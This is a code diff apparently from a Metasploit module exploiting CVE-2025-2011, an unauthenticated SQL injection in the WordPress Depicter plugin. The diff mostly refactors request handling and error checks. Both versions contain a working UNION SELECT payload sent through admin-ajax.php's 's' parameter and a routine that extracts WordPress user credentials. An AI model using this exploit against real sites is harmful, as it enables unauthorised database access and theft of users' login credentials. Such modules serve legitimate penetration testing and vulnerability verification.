@@ -21,8 +21,8 @@ def initialize(info = {})
21
21
in admin-ajax.php.
22
22
} ,
23
23
'Author' => [
24
- 'Muhamad Visat' , # Vulnerability Discovery
25
- 'Valentin Lobstein' # Metasploit Module
24
+ 'Muhamad Visat' , # Vulnerability discovery
25
+ 'Valentin Lobstein' # Metasploit module
26
26
] ,
27
27
'License' => MSF_LICENSE ,
28
28
'References' => [
@@ -31,10 +31,6 @@ def initialize(info = {})
31
31
[ 'URL' , 'https://cloud.projectdiscovery.io/library/CVE-2025-2011' ] ,
32
32
[ 'URL' , 'https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179' ]
33
33
] ,
34
- 'Actions' => [
35
- [ 'SQLi' , { 'Description' => 'Perform SQL Injection via admin-ajax.php?s=' } ]
36
- ] ,
37
- 'DefaultAction' => 'SQLi' ,
38
34
'DefaultOptions' => {
39
35
'VERBOSE' => true ,
40
36
'COUNT' => 1
@@ -60,29 +56,34 @@ def get_sqli_object
60
56
r1 , r2 , r3 , r4 , r5 = Array . new ( 5 ) { rand ( 1000 ..9999 ) }
61
57
injected = "#{ r1 } ') UNION SELECT #{ r2 } ,#{ r3 } ,(#{ expr } ),#{ r4 } ,#{ r5 } -- -"
62
58
63
- endpoint = normalize_uri ( 'wp-admin' , 'admin-ajax.php' )
64
- params = {
65
- 'action' => 'depicter-lead-index' ,
66
- 's' => injected ,
67
- 'perpage' => rand ( 10 ..50 ) . to_s ,
68
- 'page' => rand ( 1 ..3 ) . to_s ,
69
- 'orderBy' => 'source_id' ,
70
- 'order' => [ 'ASC' , 'DESC' ] . sample ,
71
- 'dateStart' => '' ,
72
- 'dateEnd' => '' ,
73
- 'sources' => ''
74
- }
75
59
res = send_request_cgi (
76
60
'method' => 'GET' ,
77
- 'uri' => endpoint ,
78
- 'vars_get' => params
61
+ 'uri' => normalize_uri ( 'wp-admin' , 'admin-ajax.php' ) ,
62
+ 'vars_get' => {
63
+ 'action' => 'depicter-lead-index' ,
64
+ 's' => injected ,
65
+ 'perpage' => rand ( 10 ..50 ) . to_s ,
66
+ 'page' => rand ( 1 ..3 ) . to_s ,
67
+ 'orderBy' => 'source_id' ,
68
+ 'order' => %w[ ASC DESC ] . sample ,
69
+ 'dateStart' => '' ,
70
+ 'dateEnd' => '' ,
71
+ 'sources' => ''
72
+ }
79
73
)
80
- return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
81
74
82
- extracted = res . get_json_document . dig ( 'hits' , 0 , 'content' , 'id' )
83
- return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted . to_s . empty?
75
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
76
+
77
+ doc = res . get_json_document
78
+ value = if doc . respond_to? ( :dig )
79
+ doc . dig ( 'hits' , 0 , 'content' , 'id' )
80
+ else
81
+ GET_SQLI_OBJECT_FAILED_ERROR_MSG
82
+ end
84
83
85
- extracted
84
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG if value . to_s . empty?
85
+
86
+ value
86
87
end
87
88
end
88
89
@@ -96,6 +97,9 @@ def check
96
97
97
98
def run
98
99
@sqli ||= get_sqli_object
100
+ if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
101
+ fail_with ( Failure ::UnexpectedReply , @sqli )
102
+ end
99
103
wordpress_sqli_initialize ( @sqli )
100
104
wordpress_sqli_get_users_credentials ( datastore [ 'COUNT' ] )
101
105
end
0 commit comments